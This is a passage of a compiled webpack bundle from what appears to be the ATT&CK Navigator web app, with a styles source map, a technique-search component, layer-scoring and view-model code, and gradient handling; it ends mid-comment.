ywgdGhleSBhcmVuJ3QgaW50ZW5kZWQgdG9cbiAqIGFwcGVhciB3aXRoIGlubmVyIGNvbnRlbnQuIEZvciBleGFtcGxlLCBcImxpbmtcIiBpcyBvbmx5IGludGVuZGVkIHRvIGJlIHVzZWQgZm9yIGxpbmsgdGV4dCwgd2hpY2ggaW5oZXJlbnRseVxuICogY2Fubm90IGhhdmUgaW5uZXIgdGV4dC5cbiAqL1xuJGNvbG9yczogKFxuICAgIHByaW1hcnk6IChjb2xvcjogbWFwLWdldCgkYXR0YWNrLWNvbG9ycywgYXR0YWNrLW9yYW5nZSksIG9uLWNvbG9yOiB3aGl0ZSksICAvL3VzZWQgZm9yIGhlYWRlciBhbmQgc29tZSBuYXYgZWxlbWVudHNcbiAgICBzZWNvbmRhcnk6IChjb2xvcjogbWFwLWdldCgkYXR0YWNrLWNvbG9ycywgYXR0YWNrLWJsdWUpLCBvbi1jb2xvcjogd2hpdGUpLCAgLy91c2VkIGZvciBmb290ZXIgYW5kIHNvbWUgYnV0dG9uc1xuICAgIGJvZHk6IChjb2xvcjogd2hpdGUsIG9uLWNvbG9yOiAjMzk0MzRDKSwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy9wcmltYXJ5IHBhZ2UgYm9keVxuLy8gIGJvZHk6IChjb2xvcjogcmdiKDUwLCA1MCwgNTApLCBvbi1jb2xvcjogI2NkY2RjZCksICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vZXhhbXBsZSBvZiBhIGRhcmsgdGhlbWUgZm9yIHRoZSBzaXRlXG4gICAgbGluazogKGNvbG9yOiAjNGY3Y2FjKSwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vaHlwZXJsaW5rc1xuICAgIG1hdHJpeC1oZWFkZXI6IChjb2xvcjogZ3JheSwgb24tY29sb3I6IHdoaXRlKSwgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy9jb2xvciBvZiBtYXRyaXggaGVhZGVyc1xuXG4gICAgLy9ib290c3RyYXAgY29sb3JzXG4gICAgYm9vdHN0cmFwLXByaW1hcnk6IChjb2xvcjogIzQyOGJjYSwgb24tY29sb3I6IHdoaXRlKSxcbiAgICBib290c3RyYXAtc3VjY2VzczogKGNvbG9yOiAjNWNiODVjLCBvbi1jb2xvcjogd2hpdGUpLFxuICAgIGJvb3RzdHJhcC1kYW5nZXI6IChjb2xvcjogI2Q5NTM0Ziwgb24tY29sb3I6IGJsYWNrKSxcbiAgICBib290c3RyYXAtd2FybmluZzogKGNvbG9yOiAjZjBhZDRlLCBvbi1jb2xvcjogYmxhY2spLFxuICAgIGJvb3RzdHJhcC1pbmZvOiAoY29sb3I6ICM1YmMwZGUsIG9uLWNvbG9yOiB3aGl0ZSksXG5cbiAgICAvL1RPRE8gZGVwcmVjYXRlIHdpdGggc2VhcmNoIHBhZ2UgY2hhbmdlc1xuICAgIHNlYXJjaC1yZXN1bHRzLWJvcmRlcjogKGNvbG9yOiBibGFjaywgb24tY29sb3I6IGxpZ2h0Z3JleSksICBcbik7XG5cbi8vIGFjY2Vzc29yIGhlbHBlciBmb3IgJGNvbG9ycy4gR2V0cyB0aGUgY29sb3Igb2YgdGhlIG5hbWVkIHBhaXJcbkBmdW5jdGlvbiBjb2xvcigkbmFtZSkge1xuICAgIEByZXR1cm4gbWFwLWdldChtYXAtZ2V0KCRjb2xvcnMsICRuYW1lKSwgXCJjb2xvclwiKTtcbn1cblxuLy8gZ2l2ZW4gYSBjb2xvciBuYW1lLCBnZXQgYW4gYWx0ZXJuYXRlIHZlcnNpb24gb2YgdGhlIGNvbG9yLCBmb3IgcGF0dGVybmluZ1xuLy8gaWYgdGhlIGJhc2UgY29sb3IgaXMgZGFyaywgdGhlIGFsdGVybmF0ZSB3aWxsIGJlIHNsaWdodGx5IGxpZ2h0ZXIuXG4vLyBpZiB0aGUgYmFzZSBjb2xvciBpcyBsaWdodCwgdGhlIGFsdGVybmF0ZSB3aWxsIGJlIHNsaWdodGx5IGRhcmtlci5cbi8vIGNvbnRyYXN0LCBhbiBvcHRpb25hbCBhcmd1bWVudCwgbXVsdGlwbGllcyB0byBjcmVhdGUgYSBtb3JlIGRpc3RpbnQgb3Igc2ltaWxhciBjb2xvci4gPjEgaXMgbW9yZSBkaXN0YW50LCA8MSBpcyBtb3JlIHNpbWlsYXIuXG5AZnVuY3Rpb24gY29sb3ItYWx0ZXJuYXRlKCRuYW1lLCAkY29udHJhc3Q6IDEpIHtcbiAgICBAcmV0dXJuIG1peChpbnZlcnQoY29sb3IoJG5hbWUpKSwgY29sb3IoJG5hbWUpLCAkd2VpZ2h0OiAkY29udHJhc3QgKiA1JSk7IFxufVxuXG4vLyBhY2Nlc3NvciBoZWxwZXIgZm9yICRjb2xvcnMuIEdldHMgdGhlIG9uLWNvbG9yIG9mIHRoZSBuYW1lZCBwYWlyXG5AZnVuY3Rpb24gb24tY29sb3IoJG5hbWUpIHtcbiAgICBAcmV0dXJuIG1hcC1nZXQobWFwLWdldCgkY29sb3JzLCAkbmFtZSksIFwib24tY29sb3JcIik7XG59XG5cbi8vIGdpdmVuIGEgY29sb3ItbmFtZSwgZ2V0IGFuIGVtcGhhc2l6ZWQgdmVyc2lvbiBvZiB0aGUgb24tY29sb3IuXG4vLyBUaGUgZW1waGFzaXplZCBvbi1jb2xvciBpcyBsZXNzIGxpa2UgdGhlIGJhY2tncm91bmQgY29sb3IuXG5AZnVuY3Rpb24gb24tY29sb3ItZW1waGFzaXMoJG5hbWUpIHtcbiAgICBAcmV0dXJuIG1peChpbnZlcnQoY29sb3IoJG5hbWUpKSwgb24tY29sb3IoJG5hbWUpKTsgXG59XG4vLyBnaXZlbiBhIGNvbG9yLW5hbWUsIGdldCBhbiBkZWVtcGhhc2l6ZWQgdmVyc2lvbiBvZiB0aGUgb24tY29sb3IuXG4vLyBUaGUgZGVlbXBoYXNpemVkIG9uLWNvbG9yIGlzIG1vcmUgbGlrZSB0aGUgYmFja2dyb3VuZCBjb2xvci5cbkBmdW5jdGlvbiBvbi1jb2xvci1kZWVtcGhhc2lzKCRuYW1lKSB7XG4gICAgQHJldHVybiBtaXgoY29sb3IoJG5hbWUpLCBvbi1jb2xvcigkbmFtZSksIDI1JSk7IFxufVxuXG4vLyBnaXZlbiBhIGNvbG9yIG5hbWUsIGNvbXB1dGUgYSBib3JkZXIgY29sb3IgZm9yIHRoZSBjb2xvclxuQGZ1bmN0aW9uIGJvcmRlci1jb2xvcigkbmFtZSkge1xuICAgIEByZXR1cm4gbWl4KGludmVydChjb2xvcigkbmFtZSkpLCBjb2xvcigkbmFtZSksIDEyLjUlKTsgXG4gICAgLy8gQHJldHVybiByZ2JhKGludmVydChjb2xvcigkbmFtZSkpLCAwLjEyNSk7XG59XG4iLCJAaW1wb3J0IFwiLi4vLi4vY29sb3JzLnNjc3NcIjtcbi50ZWNobmlxdWVzLXNlYXJjaCB7XG4gICAgXG4gICAgLnF1ZXJ5IHtcbiAgICAgICAgcGFkZGluZzogMCAxMHB4O1xuICAgIH1cbiAgICAuZmllbGRzIHtcbiAgICAgICAgcGFkZGluZzogMCAxMHB4O1xuICAgICAgICB0ZXh0LWFsaWduOiBsZWZ0O1xuICAgICAgICAuZmllbGQge1xuICAgICAgICAgICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgICAgICB9XG4gICAgfVxuICAgIGgxIHtcbiAgICAgICAgZm9udC1zaXplOiAxNHB4O1xuICAgICAgICBiYWNrZ3JvdW5kOiAkcGFuZWwtbGlnaHQ7XG4gICAgICAgIHBhZGRpbmc6IDVweDtcbiAgICAgICAgbWFyZ2luOiAwO1xuICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gICAgfVxuICAgIC5hbGxyZXN1bHRzLWJ1dHRvbnMge1xuICAgICAgICBidXR0b24ge1xuICAgICAgICAgICAgd2lkdGg6IDQ4LjUlO1xuICAgICAgICB9XG4gICAgfVxuICAgIC5yZXN1bHRzIHtcbiAgICAgICAgbWF4LWhlaWdodDogMTUwcHg7XG4gICAgICAgIG92ZXJmbG93LXk6IGF1dG87XG4gICAgICAgIHRhYmxlIHtcbiAgICAgICAgICAgIGJvcmRlci1jb2xsYXBzZTogY29sbGFwc2U7XG4gICAgICAgICAgICB3aWR0aDogMTAwJTtcbiAgICAgICAgICAgIHRyICsgdHIge1xuICAgICAgICAgICAgICAgIGJvcmRlci10b3A6IDFweCBzb2xpZCAkcGFuZWwtbGlnaHQ7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICB0cjpob3ZlciB7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZDogJGNlbGwtaGlnaGxpZ2h0LWNvbG9yXG4gICAgICAgICAgICB9XG4gICAgICAgICAgICB0ZCB7XG4gICAgICAgICAgICAgICAgd2lkdGg6IDEwMHB4O1xuICAgICAgICAgICAgICAgIHRleHQtYWxpZ246IGxlZnQ7XG4gICAgICAgICAgICAgICAgJit0ZCB7XG4gICAgICAgICAgICAgICAgICAgIHdpZHRoOiAxcHg7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICAgIC5uby1yZXN1bHRzIHtcbiAgICAgICAgICAgIHBhZGRpbmc6IDVweDtcbiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgICAgICAgfVxuICAgIH1cbn1cbiIsIi8qKlxuICogQ29sb3JzIHVzZWQgYWNyb3NzIHRoZSBOYXZpZ2F0b3IuIFNoYXJlZCBieSB0aGUgQVRUJkNLIFdlYnNpdGUuXG4gKiBGb3IgZWFjaCBjb2xvci1wYWlyOlxuICogICAtIFwiY29sb3JcIiByZWZlcnMgdG8gdGhlIGNvbG9yIGl0c2VsZlxuICogICAtIFwib24tY29sb3JcIiByZWZlcnMgdG8gdGhlIG1vc3QgcmVhZGFibGUgdGV4dC1jb2xvciB0byBhcHBlYXIgb24gdG9wIG9mIHRoZSBjb2xvci4gXG4gKiBOb3RlOiBzb21lIGNvbG9ycyBkb24ndCBkZWZpbmUgb24tY29sb3JzLiBUaGlzIGlzIGJlY2F1c2UsIGZvciB0aGVzZSBjb2xvcnMsIHRoZXkgYXJlbid0IGludGVuZGVkIHRvXG4gKiBhcHBlYXIgd2l0aCBpbm5lciBjb250ZW50LiBGb3IgZXhhbXBsZSwgXCJsaW5rXCIgaXMgb25seSBpbnRlbmRlZCB0byBiZSB1c2VkIGZvciBsaW5rIHRleHQsIHdoaWNoIGluaGVyZW50bHlcbiAqIGNhbm5vdCBoYXZlIGlubmVyIHRleHQuXG4gKi9cbi50ZWNobmlxdWVzLXNlYXJjaCAucXVlcnkge1xuICBwYWRkaW5nOiAwIDEwcHg7XG59XG4udGVjaG5pcXVlcy1zZWFyY2ggLmZpZWxkcyB7XG4gIHBhZGRpbmc6IDAgMTBweDtcbiAgdGV4dC1hbGlnbjogbGVmdDtcbn1cbi50ZWNobmlxdWVzLXNlYXJjaCAuZmllbGRzIC5maWVsZCB7XG4gIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbn1cbi50ZWNobmlxdWVzLXNlYXJjaCBoMSB7XG4gIGZvbnQtc2l6ZTogMTRweDtcbiAgYmFja2dyb3VuZDogI2YxZjFmMTtcbiAgcGFkZGluZzogNXB4O1xuICBtYXJnaW46IDA7XG4gIHRleHQtYWxpZ246IGNlbnRlcjtcbn1cbi50ZWNobmlxdWVzLXNlYXJjaCAuYWxscmVzdWx0cy1idXR0b25zIGJ1dHRvbiB7XG4gIHdpZHRoOiA0OC41JTtcbn1cbi50ZWNobmlxdWVzLXNlYXJjaCAucmVzdWx0cyB7XG4gIG1heC1oZWlnaHQ6IDE1MHB4O1xuICBvdmVyZmxvdy15OiBhdXRvO1xufVxuLnRlY2huaXF1ZXMtc2VhcmNoIC5yZXN1bHRzIHRhYmxlIHtcbiAgYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZTtcbiAgd2lkdGg6IDEwMCU7XG59XG4udGVjaG5pcXVlcy1zZWFyY2ggLnJlc3VsdHMgdGFibGUgdHIgKyB0ciB7XG4gIGJvcmRlci10b3A6IDFweCBzb2xpZCAjZjFmMWYxO1xufVxuLnRlY2huaXF1ZXMtc2VhcmNoIC5yZXN1bHRzIHRhYmxlIHRyOmhvdmVyIHtcbiAgYmFja2dyb3VuZDogIzYwYzVmZjtcbn1cbi50ZWNobmlxdWVzLXNlYXJjaCAucmVzdWx0cyB0YWJsZSB0ZCB7XG4gIHdpZHRoOiAxMDBweDtcbiAgdGV4dC1hbGlnbjogbGVmdDtcbn1cbi50ZWNobmlxdWVzLXNlYXJjaCAucmVzdWx0cyB0YWJsZSB0ZCArIHRkIHtcbiAgd2lkdGg6IDFweDtcbn1cbi50ZWNobmlxdWVzLXNlYXJjaCAucmVzdWx0cyAubm8tcmVzdWx0cyB7XG4gIHBhZGRpbmc6IDVweDtcbiAgdGV4dC1hbGlnbjogY2VudGVyO1xufSJdfQ== */" + +/***/ }), + +/***/ "./src/app/techniques-search/techniques-search.component.ts": +/*!******************************************************************!*\ + !*** ./src/app/techniques-search/techniques-search.component.ts ***! + \******************************************************************/ +/*! exports provided: TechniquesSearchComponent */ +/***/ (function(module, __webpack_exports__, __webpack_require__) { + +"use strict"; +__webpack_require__.r(__webpack_exports__); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "TechniquesSearchComponent", function() { return TechniquesSearchComponent; }); +/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js"); +/* harmony import */ var _viewmodels_service__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ../viewmodels.service */ "./src/app/viewmodels.service.ts"); +/* harmony import */ var _data_service__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ../data.service */ "./src/app/data.service.ts"); +var __decorate = (undefined && undefined.__decorate) || function (decorators, target, key, desc) { + var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; + if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); + else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; + return c > 3 && r && Object.defineProperty(target, key, r), r; +}; +var __metadata = (undefined && undefined.__metadata) || function (k, v) { + if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(k, v); +}; + + + +var TechniquesSearchComponent = /** @class */ (function () { + function TechniquesSearchComponent(dataService) { + this.dataService = dataService; + this.fields = [ + { + "label": "name", + "field": "name", + "enabled": true + }, + { + "label": "attack ID", + "field": "attackID", + "enabled": true + }, + // { + // "label": "STIX ID", + // "field": "id", + // "enabled": false + // }, + { + "label": "description", + "field": "description", + "enabled": true + }, + { + "label": "datasources", + "field": "datasources", + "enabled": true + } + ]; + this._query = ""; + this.results = []; + } + Object.defineProperty(TechniquesSearchComponent.prototype, "query", { + set: function (newQuery) { + var _this = this; + var self = this; + this._query = newQuery; + if (this._query.trim() != "") { + // search + //get master list of techniques and sub-techniques + var allTechniques = this.dataService.techniques; + for (var _i = 0, allTechniques_1 = allTechniques; _i < allTechniques_1.length; _i++) { + var technique = allTechniques_1[_i]; + allTechniques = allTechniques.concat(technique.subtechniques); + } + var results = allTechniques.filter(function (technique) { + for (var _i = 0, _a = self.fields; _i < _a.length; _i++) { + var field = _a[_i]; + if (field.enabled) { + // query in this field + return technique[field.field].toLowerCase().includes(self._query.trim().toLowerCase()); + } + } + return false; + }); + // decoflict IDs for cross-tactic techniques + var seenIDs_1 = new Set(); + results = results.filter(function (technique) { + if (seenIDs_1.has(technique.id)) + return false; + else { + seenIDs_1.add(technique.id); + return true; + } + }); + //remove out of stage results + results = results.filter(function (technique) { return _this.viewModel.filters.stages.selection.includes(technique.stage); }); + results = results.sort(function (tA, tB) { + var c1 = tA.isSubtechnique ? tA.parent.name : tA.name; + var c2 = tB.isSubtechnique ? tB.parent.name : tB.name; + return c1.localeCompare(c2); + }); + // console.log(seenIDs, results) + this.results = results; + } + else { + this.results = []; + } + }, + enumerable: true, + configurable: true + }); + Object.defineProperty(TechniquesSearchComponent.prototype, "queryLength", { + get: function () { + return this._query.length; + }, + enumerable: true, + configurable: true + }); + TechniquesSearchComponent.prototype.ngOnInit = function () { + }; + TechniquesSearchComponent.prototype.toggleFieldEnabled = function (field) { + for (var _i = 0, _a = this.fields; _i < _a.length; _i++) { + var thefield = _a[_i]; + if (thefield.field == field) { + thefield.enabled = !thefield.enabled; + break; + } + } + this.query = this._query; + }; + TechniquesSearchComponent.prototype.select = function (technique) { + this.viewModel.selectTechniqueAcrossTactics(technique); + }; + TechniquesSearchComponent.prototype.deselect = function (technique) { + this.viewModel.unselectTechniqueAcrossTactics(technique); + }; + TechniquesSearchComponent.prototype.selectAll = function () { + for (var _i = 0, _a = this.results; _i < _a.length; _i++) { + var result = _a[_i]; + this.select(result); + } + }; + TechniquesSearchComponent.prototype.deselectAll = function () { + for (var _i = 0, _a = this.results; _i < _a.length; _i++) { + var result = _a[_i]; + this.deselect(result); + } + }; + TechniquesSearchComponent.ctorParameters = function () { return [ + { type: _data_service__WEBPACK_IMPORTED_MODULE_2__["DataService"] } + ]; }; + __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Input"])(), + __metadata("design:type", _viewmodels_service__WEBPACK_IMPORTED_MODULE_1__["ViewModel"]) + ], TechniquesSearchComponent.prototype, "viewModel", void 0); + TechniquesSearchComponent = __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Component"])({ + selector: 'app-techniques-search', + template: __webpack_require__(/*! raw-loader!./techniques-search.component.html */ "./node_modules/raw-loader/index.js!./src/app/techniques-search/techniques-search.component.html"), + styles: [__webpack_require__(/*! ./techniques-search.component.scss */ "./src/app/techniques-search/techniques-search.component.scss")] + }), + __metadata("design:paramtypes", [_data_service__WEBPACK_IMPORTED_MODULE_2__["DataService"]]) + ], TechniquesSearchComponent); + return TechniquesSearchComponent; +}()); + + + +/***/ }), + +/***/ "./src/app/viewmodels.service.ts": +/*!***************************************!*\ + !*** ./src/app/viewmodels.service.ts ***! + \***************************************/ +/*! exports provided: ViewModelsService, Gradient, Gcolor, ViewModel, TechniqueVM, Filter, Metadata, LayoutOptions */ +/***/ (function(module, __webpack_exports__, __webpack_require__) { + +"use strict"; +__webpack_require__.r(__webpack_exports__); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "ViewModelsService", function() { return ViewModelsService; }); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "Gradient", function() { return Gradient; }); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "Gcolor", function() { return Gcolor; }); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "ViewModel", function() { return ViewModel; }); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "TechniqueVM", function() { return TechniqueVM; }); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "Filter", function() { return Filter; }); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "Metadata", function() { return Metadata; }); +/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "LayoutOptions", function() { return LayoutOptions; }); +/* harmony import */ var _angular_core__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! @angular/core */ "./node_modules/@angular/core/fesm5/core.js"); +/* harmony import */ var _data_service__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./data.service */ "./src/app/data.service.ts"); +/* harmony import */ var _globals__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./globals */ "./src/app/globals.ts"); +/* harmony import */ var is_js__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! is_js */ "./node_modules/is_js/is.js"); +/* harmony import */ var is_js__WEBPACK_IMPORTED_MODULE_3___default = /*#__PURE__*/__webpack_require__.n(is_js__WEBPACK_IMPORTED_MODULE_3__); +var __decorate = (undefined && undefined.__decorate) || function (decorators, target, key, desc) { + var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; + if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); + else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; + return c > 3 && r && Object.defineProperty(target, key, r), r; +}; +var __metadata = (undefined && undefined.__metadata) || function (k, v) { + if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(k, v); +}; + + + //global variables + +var ViewModelsService = /** @class */ (function () { + function ViewModelsService(dataService) { + this.dataService = dataService; + this.domain = "mitre-mobile"; + this.viewModels = []; + this.nonce = 0; + // attempt to restore viewmodels + // console.log(this.getCookie("viewModels")) + // this.saveViewModelsCookies() + } + /** + * Create and return a new viewModel + * @param {string} name the viewmodel name + * @return {ViewModel} the created ViewModel + */ + ViewModelsService.prototype.newViewModel = function (name) { + var vm = new ViewModel(name, this.domain, "vm" + this.getNonce(), this.dataService); + this.viewModels.push(vm); + // console.log("created new viewModel", this.viewModels) + // this.saveViewModelsCookies() + return vm; + }; + /** + * Get a nonce. + * @return a number that will never be regenerated by sequential calls to getNonce. + * Note: this applies on a session-by-session basis, nonces are not + * unique between app instances. + */ + ViewModelsService.prototype.getNonce = function () { + return this.nonce++; + }; + /** + * Destroy the viewmodel completely Nessecary if tab is closed! + * @param vm viewmodel to destroy. + */ + ViewModelsService.prototype.destroyViewModel = function (vm) { + for (var i = 0; i < this.viewModels.length; i++) { + if (this.viewModels[i] == vm) { + // console.log("destroying viewmodel", vm) + this.viewModels.splice(i, 1); + return; + } + } + }; + /** + * layer combination operation + * @param scoreExpression math expression of score expression + * @param scoreVariables variables in math expression, mapping to viewmodel they correspond to + * @param comments what viewmodel to inherit comments from + * @param coloring what viewmodel to inherit manual colors from + * @param enabledness what viewmodel to inherit state from + * @param layerName new layer name + * @param filters viewmodel to inherit filters from + * @return new viewmodel inheriting above properties + */ + ViewModelsService.prototype.layerLayerOperation = function (scoreExpression, scoreVariables, comments, gradient, coloring, enabledness, layerName, filters, legendItems) { + var result = new ViewModel("layer by operation", this.domain, "vm" + this.getNonce(), this.dataService); + if (scoreExpression) { + scoreExpression = scoreExpression.toLowerCase(); //should be enforced by input, but just in case + var score_min_1 = Infinity; + var score_max_1 = -Infinity; + //get list of all technique IDs used in the VMs + var techniqueIDs_1 = new Set(); + scoreVariables.forEach(function (vm, key) { + vm.techniqueVMs.forEach(function (techniqueVM, techniqueID) { + techniqueIDs_1.add(techniqueID); + }); + }); + //attempt to evaluate without a scope to catch the case of a static assignment + try { + // evaluate with an empty scope + var mathResult = math.eval(scoreExpression, {}); + // if it didn't except after this, it evaluated to a single result. + console.log("score expression evaluated to single result to be applied to all techniques"); + if (is_js__WEBPACK_IMPORTED_MODULE_3__["boolean"](mathResult)) { + mathResult = mathResult ? "1" : "0"; //boolean to binary + } + else if (is_js__WEBPACK_IMPORTED_MODULE_3__["not"].number(mathResult)) { //user inputted something weird, complain about it + throw { message: "math result ( " + mathResult + " ) is not a number" }; + } + // if it didn't error, and outputted a single value, apply this to all techniques. + result.initializeScoresTo = String(mathResult); //initialize scores to this value + score_min_1 = mathResult; + score_max_1 = mathResult; + } + catch (err) { //couldn't evaluate with empty scope, build scope for each technique + // compute the score of each techniqueID + techniqueIDs_1.forEach(function (technique_id) { + var new_tvm = new TechniqueVM(technique_id); + var scope = {}; + var misses = 0; //number of times a VM is missing the value + scoreVariables.forEach(function (vm, key) { + var scoreValue; + if (!vm.hasTechniqueVM_id(technique_id)) { //missing technique + scoreValue = 0; + misses++; + } + else { //technique exists + var score = vm.getTechniqueVM_id(technique_id).score; + if (score == "") { + scoreValue = 0; + misses++; + } + else if (isNaN(Number(score))) { + scoreValue = 0; + misses++; + } + else { + scoreValue = Number(score); + } + } + scope[key] = scoreValue; + }); + //don't record a result if none of VMs had a score for this technique + //did at least one technique have a score for this technique? + if (misses < scoreVariables.size) { + // console.log(scope); + var mathResult = math.eval(scoreExpression, scope); + if (is_js__WEBPACK_IMPORTED_MODULE_3__["boolean"](mathResult)) { + mathResult = mathResult ? "1" : "0"; //boolean to binary + } + else if (is_js__WEBPACK_IMPORTED_MODULE_3__["not"].number(mathResult)) { //user inputted something weird, complain about it + throw { message: "math result ( " + mathResult + " ) is not a number" }; + } + new_tvm.score = String(mathResult); + result.techniqueVMs.set(technique_id, new_tvm); + score_min_1 = Math.min(score_min_1, mathResult); + score_max_1 = Math.max(score_max_1, mathResult); + } + }); + } + //don't do gradient if there's no range of values + if (score_min_1 != score_max_1) { + // set up gradient according to result range + if (score_min_1 != Infinity) + result.gradient.minValue = score_min_1; + if (score_max_1 != -Infinity) + result.gradient.maxValue = score_max_1; + // if it's a binary range, set to whiteblue gradient + if (score_min_1 == 0 && score_max_1 == 1) + result.gradient.setGradientPreset("whiteblue"); + } + } + /** + * Inherit a field from a vm + * @param {ViewModel} inherit_vm the viewModel to inherit from + * @param {string} fieldname the field to inherit from the viewmodel + */ + function inherit(inherit_vm, fieldname) { + // console.log("inherit", fieldname) + inherit_vm.techniqueVMs.forEach(function (inherit_TVM) { + var tvm = result.hasTechniqueVM_id(inherit_TVM.technique_tactic_union_id) ? result.getTechniqueVM_id(inherit_TVM.technique_tactic_union_id) : new TechniqueVM(inherit_TVM.technique_tactic_union_id); + tvm[fieldname] = inherit_TVM[fieldname]; + // console.log(inherit_TVM.techniqueName, "->", tvm) + result.techniqueVMs.set(inherit_TVM.technique_tactic_union_id, tvm); + }); + } + if (comments) + inherit(comments, "comment"); + if (coloring) + inherit(coloring, "color"); + if (enabledness) + inherit(enabledness, "enabled"); + if (filters) { //copy filter settings + result.filters.deSerialize(JSON.parse(filters.filters.serialize())); + } + if (legendItems) { + result.legendItems = JSON.parse(JSON.stringify(legendItems.legendItems)); + } + if (gradient) { + result.gradient = new Gradient(); + result.gradient.deSerialize(gradient.gradient.serialize()); + } + result.name = layerName; + // console.log(result) + this.viewModels.push(result); + result.updateGradient(); + return result; + }; //end layer layer operation + ViewModelsService.ctorParameters = function () { return [ + { type: _data_service__WEBPACK_IMPORTED_MODULE_1__["DataService"] } + ]; }; + ViewModelsService = __decorate([ + Object(_angular_core__WEBPACK_IMPORTED_MODULE_0__["Injectable"])(), + __metadata("design:paramtypes", [_data_service__WEBPACK_IMPORTED_MODULE_1__["DataService"]]) + ], ViewModelsService); + return ViewModelsService; +}()); + +/** + * Gradient class used by viewmodels + */ +var Gradient = /** @class */ (function () { + function Gradient() { + //official colors used in gradients: + this.colors = [new Gcolor("red"), new Gcolor("green")]; //current colors + // options: string[] = ["white", "red", "orange", "yellow", "green", "blue", "purple"]; //possible colors + this.options = ["#ffffff", "#ff6666", "#ffaf66", "#ffe766", "#8ec843", "#66b1ff", "#ff66f4"]; //possible colors + this.minValue = 0; + this.maxValue = 100; + //presets in dropdown menu + this.presets = { + redgreen: [new Gcolor("#ff6666"), new Gcolor("#ffe766"), new Gcolor("#8ec843")], + greenred: [new Gcolor("#8ec843"), new Gcolor("#ffe766"), new Gcolor("#ff6666")], + bluered: [new Gcolor("#66b1ff"), new Gcolor("#ff66f4"), new Gcolor("#ff6666")], + redblue: [new Gcolor("#ff6666"), new Gcolor("#ff66f4"), new Gcolor("#66b1ff")], + whiteblue: [new Gcolor("#ffffff"), new Gcolor("#66b1ff")], + whitered: [new Gcolor("#ffffff"), new Gcolor("#ff6666")] + }; + this.setGradientPreset('redgreen'); + } + /** + * Create a string version of this gradient + * @return string version of gradient + */ + Gradient.prototype.serialize = function () { + var colorList = []; + var self = this; + this.colors.forEach(function (gColor) { + var hexstring = (tinycolor(gColor.color).toHexString()); + colorList.push(hexstring); + }); + var rep = { + "colors": colorList, + "minValue": this.minValue, + "maxValue": this.maxValue, + }; + return JSON.stringify(rep, null, "\t"); + }; + /** + * Restore this gradient from the given serialized representation + * @param rep serialized gradient + */ + Gradient.prototype.deSerialize = function (rep) { + var obj = JSON.parse(rep); + var isColorStringArray = function (check) { + for (var i = 0; i < check.length; i++) { + if (typeof (check[i]) !== "string" || !tinycolor(check[i]).isValid()) { + console.error("TypeError:", check[i], "(", typeof (check[i]), ")", "is not a color-string"); + return false; + } + } + return true; + }; + if (isColorStringArray(obj.colors)) { + this.colors = []; + var self_1 = this; + obj.colors.forEach(function (hex) { + self_1.colors.push(new Gcolor(hex)); + }); + } + else + console.error("TypeError: gradient colors field is not a color-string[]"); + this.minValue = obj.minValue; + this.maxValue = obj.maxValue; + this.updateGradient(); + }; + /** + * Convert a preset to tinycolor array + * @param preset preset name from preset array + * @return [description] + */ + Gradient.prototype.presetToTinyColor = function (preset) { + var colorarray = []; + var self = this; + this.presets[preset].forEach(function (gcolor) { + colorarray.push(gcolor.color); + }); + return tinygradient(colorarray).css('linear', 'to right'); + }; + /** + * set this gradient to use the preset + * @param preset preset to use + */ + Gradient.prototype.setGradientPreset = function (preset) { + this.colors = this.presets[preset].map(function (color) { return new Gcolor(color.color); }); //deep copy gradient preset + this.updateGradient(); + }; + /** + * recompute gradient + */ + Gradient.prototype.updateGradient = function () { + var colorarray = []; + var self = this; + this.colors.forEach(function (colorobj) { + // figure out what kind of color this is + // let format = tinycolor(colorobj.color).getFormat(); + // if (format == "name" && colorobj.color in self.labelToColor) + colorarray.push(colorobj.color); + }); + this.gradient = tinygradient(colorarray); + this.gradientRGB = this.gradient.rgb(100); + }; + /** + * Add a color to the 